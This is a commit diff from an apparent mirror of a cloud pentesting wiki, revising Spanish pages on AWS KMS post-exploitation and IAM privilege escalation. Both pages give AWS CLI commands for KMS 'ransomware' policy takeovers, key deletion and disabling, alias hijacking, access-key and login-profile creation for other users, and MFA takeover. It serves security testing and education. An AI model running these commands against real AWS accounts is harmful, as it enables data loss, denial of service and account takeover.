mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+27
-28
@@ -4,21 +4,21 @@
|
||||
|
||||
## KMS
|
||||
|
||||
Para más información consulta:
|
||||
Para más información, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Encrypt/Decrypt information
|
||||
### Cifrar/Descifrar información
|
||||
|
||||
`fileb://` and `file://` son esquemas URI usados en comandos de AWS CLI para especificar la ruta a archivos locales:
|
||||
|
||||
- `fileb://:` Lee el archivo en modo binario, comúnmente usado para archivos que no son de texto.
|
||||
- `file://:` Lee el archivo en modo texto, típicamente usado para archivos de texto plano, scripts o JSON que no tengan requisitos especiales de codificación.
|
||||
- `fileb://:` Lee el archivo en modo binario, comúnmente usado para archivos no textuales.
|
||||
- `file://:` Lee el archivo en modo texto, típicamente usado para archivos de texto plano, scripts, o JSON que no tiene requisitos especiales de codificación.
|
||||
|
||||
> [!TIP]
|
||||
> Ten en cuenta que si quieres descifrar datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://)
|
||||
> Ten en cuenta que si quieres descifrar algunos datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://)
|
||||
|
||||
- Usando una clave **simétrica**
|
||||
```bash
|
||||
@@ -60,14 +60,14 @@ aws kms decrypt \
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Un attacker con acceso privilegiado sobre KMS podría modificar la KMS policy de las keys y **grant his account access over them**, eliminando el acceso concedido a la legit account.
|
||||
Un atacante con acceso privilegiado a KMS podría modificar la política de KMS de las claves y **conceder a su cuenta acceso a dichas claves**, eliminando el acceso otorgado a la cuenta legítima.
|
||||
|
||||
Entonces, los legit account users no podrán acceder a ninguna información de cualquier servicio que haya sido encrypted con esas keys, creando un ransomware sencillo pero efectivo sobre la cuenta.
|
||||
Entonces, los usuarios de la cuenta legítima no podrán acceder a ninguna información de cualquier servicio que haya sido cifrada con esas claves, creando un ransomware sencillo pero efectivo sobre la cuenta.
|
||||
|
||||
> [!WARNING]
|
||||
> Ten en cuenta que **AWS managed keys aren't affected** por este ataque; solo **Customer managed keys**.
|
||||
> Tenga en cuenta que **AWS managed keys aren't affected** por este ataque, solo **Customer managed keys**.
|
||||
|
||||
> También ten en cuenta la necesidad de usar el parámetro **`--bypass-policy-lockout-safety-check`** (la ausencia de esta opción en la consola web hace que este ataque sea posible solo desde la CLI).
|
||||
> También tenga en cuenta la necesidad de usar el parámetro **`--bypass-policy-lockout-safety-check`** (la ausencia de esta opción en la consola web hace que este ataque solo sea posible desde la CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
@@ -92,22 +92,22 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Ten en cuenta que si cambias esa policy y solo das acceso a una cuenta externa, y luego desde esa cuenta externa intentas establecer una nueva policy para **devolver el acceso a la cuenta original, no podrás hacerlo porque la acción Put Polocy no puede realizarse desde una cuenta cruzada**.
|
||||
> Tenga en cuenta que si cambia esa política y solo otorga acceso a una cuenta externa, y luego desde esa cuenta externa intenta establecer una nueva política para **devolver el acceso a la cuenta original, no podrá hacerlo porque la acción Put Polocy no puede realizarse desde una cuenta cruzada**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ransomware genérico de KMS
|
||||
|
||||
There is another way to perform a global KMS Ransomware, which would involve the following steps:
|
||||
Hay otra forma de llevar a cabo un Ransomware global de KMS, que implicaría los siguientes pasos:
|
||||
|
||||
- Crear una nueva **key con material de clave** importado por el atacante
|
||||
- **Re-encriptar datos antiguos** de la víctima que estaban cifrados con la versión anterior usando la nueva.
|
||||
- **Eliminar la KMS key**
|
||||
- Ahora solo el atacante, que posee el material de clave original, podría ser capaz de descifrar los datos cifrados
|
||||
- Crear una nueva **key con key material** importado por el atacante
|
||||
- **Volver a cifrar datos antiguos** de la víctima que estaban cifrados con la versión anterior usando la nueva.
|
||||
- **Eliminar la key de KMS**
|
||||
- Ahora solo el atacante, que tiene el key material original, podría ser capaz de descifrar los datos cifrados
|
||||
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imported their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.
|
||||
Con el permiso `kms:DeleteImportedKeyMaterial`, un actor puede eliminar el key material importado de CMKs con `Origin=EXTERNAL` (CMKs que han importado su key material), dejándolas incapaces de descifrar datos. Esta acción es destructiva e irreversible a menos que se vuelva a importar material compatible, lo que permite a un atacante causar efectivamente una pérdida de datos similar a ransomware al dejar la información cifrada permanentemente inaccesible.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
@@ -121,10 +121,10 @@ aws kms schedule-key-deletion \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Tenga en cuenta que AWS ahora **impide que las acciones anteriores se realicen desde una cuenta cruzada:**
|
||||
> Ten en cuenta que AWS ahora **impide que las acciones anteriores se realicen desde una cuenta cruzada:**
|
||||
|
||||
### Change or delete Alias
|
||||
Este ataque elimina o redirige los alias de AWS KMS, interrumpiendo la resolución de claves y causando fallos inmediatos en cualquier servicio que dependa de esos alias, resultando en un denial-of-service. Con permisos como `kms:DeleteAlias` o `kms:UpdateAlias`, un atacante puede eliminar o volver a apuntar alias y perturbar operaciones criptográficas (p. ej., encrypt, describe). Cualquier servicio que haga referencia al alias en lugar del ID de la clave puede fallar hasta que el alias se restaure o se reasigne correctamente.
|
||||
### Cambiar o eliminar Alias
|
||||
Este ataque elimina o redirige aliases de AWS KMS, rompiendo la resolución de claves y provocando fallos inmediatos en cualquier servicio que dependa de esos aliases, lo que resulta en una denegación de servicio. Con permisos como `kms:DeleteAlias` o `kms:UpdateAlias` un atacante puede eliminar o volver a apuntar aliases y obstaculizar operaciones criptográficas (p. ej., encrypt, describe). Cualquier servicio que haga referencia al alias en lugar del key ID puede fallar hasta que el alias sea restaurado o reasignado correctamente.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
@@ -135,7 +135,7 @@ aws kms update-alias \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancel Key Deletion
|
||||
Con permisos como `kms:CancelKeyDeletion` y `kms:EnableKey`, un actor puede cancelar la eliminación programada de una AWS KMS customer master key y posteriormente volver a habilitarla. Al hacerlo, se recupera la key (inicialmente en Disabled state) y se restaura su capacidad para descifrar datos previamente protegidos, permitiendo exfiltration.
|
||||
Con permisos como `kms:CancelKeyDeletion` y `kms:EnableKey`, un actor puede cancelar la eliminación programada de una customer master key de AWS KMS y luego volver a habilitarla. Al hacerlo, se recupera la clave (inicialmente en estado Disabled) y se restaura su capacidad para descifrar datos previamente protegidos, permitiendo la exfiltration.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
@@ -146,22 +146,21 @@ aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Disable Key
|
||||
Con el permiso `kms:DisableKey`, un actor puede deshabilitar una AWS KMS customer master key, impidiendo que se utilice para cifrado o descifrado. Esto interrumpe el acceso para cualquier servicio que dependa de esa CMK y puede causar interrupciones inmediatas o un denial-of-service hasta que la clave sea reactivada.
|
||||
Con el permiso `kms:DisableKey`, un actor puede deshabilitar una customer master key (CMK) de AWS KMS, impidiendo que se use para encryption o decryption. Esto rompe el acceso para cualquier servicio que dependa de esa CMK y puede causar interrupciones inmediatas o un denial-of-service hasta que la key sea re-enabled.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derive Shared Secret
|
||||
|
||||
Con el permiso `kms:DeriveSharedSecret`, un actor puede usar una clave privada mantenida en KMS más una clave pública proporcionada por el usuario para calcular un secreto compartido ECDH.
|
||||
### Derivar secreto compartido
|
||||
Con el permiso `kms:DeriveSharedSecret`, un actor puede usar una clave privada almacenada en KMS más una clave pública proporcionada por el usuario para calcular un secreto compartido ECDH.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Suplantación mediante kms:Sign
|
||||
Con el permiso `kms:Sign`, un actor puede usar una CMK almacenada en KMS para firmar datos criptográficamente sin exponer la clave privada, produciendo firmas válidas que pueden permitir la suplantación de identidad o autorizar acciones maliciosas.
|
||||
### Impersonation via kms:Sign
|
||||
Con el permiso `kms:Sign`, un actor puede usar una CMK almacenada en KMS para firmar datos criptográficamente sin exponer la private key, generando firmas válidas que pueden permitir impersonation o autorizar acciones maliciosas.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
@@ -169,8 +168,8 @@ aws kms sign \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS con Custom Key Stores
|
||||
Con permisos como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` o `kms:UpdateCustomKeyStore`, un actor puede modificar, desconectar o eliminar un AWS KMS Custom Key Store (CKS), dejando inoperables sus claves maestras. Eso rompe las operaciones de cifrado, descifrado y firmado para cualquier servicio que dependa de esas claves y puede causar una denegación de servicio inmediata. Por ello, es crítico restringir y monitorizar esos permisos.
|
||||
### DoS with Custom Key Stores
|
||||
Con permisos como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` o `kms:UpdateCustomKeyStore`, un actor puede modificar, desconectar o eliminar un AWS KMS Custom Key Store (CKS), dejando sus claves maestras inoperables. Esto interrumpe las operaciones de cifrado, descifrado y firma para cualquier servicio que dependa de esas claves y puede causar un denial-of-service inmediato. Por lo tanto, es crítico restringir y monitorear esos permisos.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
|
||||
+53
-34
@@ -12,38 +12,57 @@ Para más información sobre IAM consulta:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Concede la capacidad de crear una nueva versión de una policy de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` al usar la bandera `--set-as-default`. Esto permite definir permisos personalizados.
|
||||
Concede la capacidad de crear una nueva versión de una política de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` usando la bandera `--set-as-default`. Esto permite definir permisos personalizados.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Impacto:** Escala privilegios directamente al permitir cualquier acción sobre cualquier recurso.
|
||||
**Impacto:** Escala privilegios directamente permitiendo cualquier acción sobre cualquier recurso.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Permite cambiar la versión predeterminada de una política IAM a otra versión existente, lo que podría escalar privilegios si la nueva versión tiene más permisos.
|
||||
Permite cambiar la versión predeterminada de una policy de IAM a otra versión existente, potencialmente escalando privilegios si la nueva versión tiene más permisos.
|
||||
|
||||
**Comando Bash:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Impacto:** Escalada de privilegios indirecta al permitir más permisos.
|
||||
**Impacto:** Indirect privilege escalation al habilitar más permisos.
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
Permite crear access key ID y secret access key para otro usuario, lo que puede derivar en una escalada de privilegios.
|
||||
Permite crear access key ID y secret access key para otro usuario, lo que puede conducir a una posible privilege escalation.
|
||||
|
||||
**Explotación:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Impacto:** Escalada de privilegios directa al asumir los permisos extendidos de otro usuario.
|
||||
**Impacto:** Escalación de privilegios directa al asumir los permisos extendidos de otro usuario.
|
||||
|
||||
Ten en cuenta que un usuario solo puede tener 2 access keys creadas; por lo tanto, si un usuario ya tiene 2 access keys necesitarás el permiso `iam:DeleteAccessKey` para eliminar una de ellas y poder crear una nueva:
|
||||
```bash
|
||||
aws iam delete-access-key --uaccess-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
Si puedes crear un nuevo dispositivo virtual MFA y habilitarlo en otro usuario, puedes registrar efectivamente tu propio MFA para ese usuario y luego solicitar una sesión autenticada con MFA para sus credenciales.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
# Create a virtual MFA device (this returns the serial and the base32 seed)
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
|
||||
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impacto:** Direct privilege escalation al tomar control de la inscripción de MFA de un usuario (y luego usar sus permisos).
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Permite crear o actualizar un login profile, incluyendo establecer contraseñas para el inicio de sesión en la consola de AWS, lo que conduce a una escalada de privilegios directa.
|
||||
Permite crear o actualizar un login profile, incluyendo establecer contraseñas para el inicio de sesión en la consola de AWS, lo que conduce a Direct privilege escalation.
|
||||
|
||||
**Exploit para la creación:**
|
||||
```bash
|
||||
@@ -55,23 +74,23 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Impacto:** Escalada de privilegios directa al iniciar sesión como cualquier usuario.
|
||||
**Impact:** Escalado de privilegios directo al iniciar sesión como cualquier usuario.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Permite habilitar una access key deshabilitada, lo que puede conducir a acceso no autorizado si el atacante posee la access key deshabilitada.
|
||||
Permite habilitar una clave de acceso deshabilitada, lo que podría derivar en acceso no autorizado si el atacante posee dicha clave.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Impacto:** Escalada directa de privilegios al reactivar claves de acceso.
|
||||
**Impacto:** Escalada directa de privilegios al reactivar access keys.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Permite generar o restablecer credenciales para servicios específicos de AWS (p. ej., CodeCommit, Amazon Keyspaces), heredando los permisos del usuario asociado.
|
||||
|
||||
**Exploit for Creation:**
|
||||
**Exploit para la creación:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
@@ -79,13 +98,13 @@ aws iam create-service-specific-credential --user-name <username> --service-name
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Impacto:** Escalada directa de privilegios dentro de los permisos del servicio del usuario.
|
||||
**Impact:** Escalada directa de privilegios dentro de los permisos de servicio del usuario.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Permite adjuntar policies a usuarios o grupos, escalando directamente los privilegios al heredar los permisos de la policy adjunta.
|
||||
Permite adjuntar políticas a usuarios o grupos, escalando directamente privilegios al heredar los permisos de la política adjunta.
|
||||
|
||||
**Exploit for User:**
|
||||
**Exploit para el usuario:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -93,13 +112,13 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Impact:** Escalada de privilegios directa a cualquier cosa que la política otorgue.
|
||||
**Impacto:** Escalada de privilegios directa a todo lo que la política conceda.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Permite adjuntar o poner políticas en roles, usuarios o grupos, habilitando una escalada de privilegios directa al conceder permisos adicionales.
|
||||
Permite adjuntar o aplicar políticas a roles, usuarios o grupos, permitiendo una escalada de privilegios directa al otorgar permisos adicionales.
|
||||
|
||||
**Exploit for Role:**
|
||||
**Exploit para Role:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -127,28 +146,28 @@ Puedes usar una política como:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impact:** Escalada de privilegios directa al agregar permisos mediante políticas.
|
||||
**Impacto:** Escalada de privilegios directa al añadir permisos mediante políticas.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Permite agregarse a un grupo de IAM, escalando privilegios al heredar los permisos del grupo.
|
||||
Permite añadirse a un grupo de IAM, escalando privilegios al heredar los permisos del grupo.
|
||||
|
||||
**Explotación:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Impacto:** Escalada de privilegios directa al nivel de los permisos del grupo.
|
||||
**Impacto:** Escalada de privilegios directa al nivel de permisos del grupo.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Permite alterar el documento assume role policy de un role, habilitando la asunción del role y sus permisos asociados.
|
||||
Permite alterar el documento de la assume role policy de un role, habilitando la asunción del role y sus permisos asociados.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Cuando la policy tenga el siguiente aspecto, lo que le da al usuario permiso para assume the role:
|
||||
Cuando la política se parece a la siguiente, la cual otorga al usuario permiso para asumir el rol:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -163,7 +182,7 @@ Cuando la policy tenga el siguiente aspecto, lo que le da al usuario permiso par
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impact:** Escalada de privilegios directa al asumir los permisos de cualquier rol.
|
||||
**Impacto:** Escalada de privilegios directa al asumir los permisos de cualquier rol.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
@@ -177,24 +196,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Impacto:** Escalada de privilegios indirecta al habilitar acceso a CodeCommit o deshabilitar la protección MFA.
|
||||
**Impacto:** Escalado de privilegios indirecto al habilitar acceso a CodeCommit o desactivar la protección MFA.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Permite la resincronización de un dispositivo MFA, lo que potencialmente puede conducir a una escalada de privilegios indirecta al manipular la protección MFA.
|
||||
Permite la resincronización de un dispositivo MFA, lo que potencialmente conduce a un escalado de privilegios indirecto al manipular la protección MFA.
|
||||
|
||||
**Comando Bash:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impacto:** Escalada de privilegios indirecta añadiendo o manipulando dispositivos MFA.
|
||||
**Impacto:** Indirect privilege escalation by adding or manipulating MFA devices.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **login** con cualquier **rol que confíe** en ella.
|
||||
Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **iniciar sesión** con cualquier **role que confíe** en ella.
|
||||
|
||||
Ten en cuenta que al hacer esto **los usuarios legítimos no podrán login**. Sin embargo, podrías obtener el XML, poner el tuyo, login y restaurar la configuración anterior.
|
||||
Ten en cuenta que al hacer esto **los usuarios legítimos no podrán iniciar sesión**. Sin embargo, podrías obtener el XML, reemplazarlo por el tuyo, iniciar sesión y volver a configurar lo anterior.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -215,7 +234,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(No estoy seguro sobre esto) Si un atacante tiene estos **permisos** podría añadir un nuevo **Thumbprint** para poder iniciar sesión en todos los roles que confían en el proveedor.
|
||||
(No estoy seguro de esto) Si un atacante tiene estos **permisos** podría añadir un nuevo **Thumbprint** para lograr iniciar sesión en todos los roles que confían en el proveedor.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Este permiso permite a un atacante actualizar el límite de permisos de un usuario, potencialmente escalando sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos existentes.
|
||||
Este permiso permite a un atacante actualizar el límite de permisos (permissions boundary) de un usuario, pudiendo así escalar sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos existentes.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -249,7 +268,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Un actor con iam:PutRolePermissionsBoundary puede establecer un límite de permisos en un rol existente. El riesgo surge cuando alguien con este permiso cambia el límite de un rol: puede restringir indebidamente las operaciones (provocando interrupciones del servicio) o, si adjunta un límite permisivo, ampliar efectivamente lo que el rol puede hacer y escalar privilegios.
|
||||
Un actor con iam:PutRolePermissionsBoundary puede establecer un límite de permisos en un rol existente. El riesgo surge cuando alguien con este permiso cambia el límite de un rol: pueden restringir indebidamente las operaciones (provocando interrupciones del servicio) o, si adjuntan un límite permisivo, ampliar efectivamente lo que el rol puede hacer y escalar privilegios.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
|
||||
Reference in New Issue
Block a user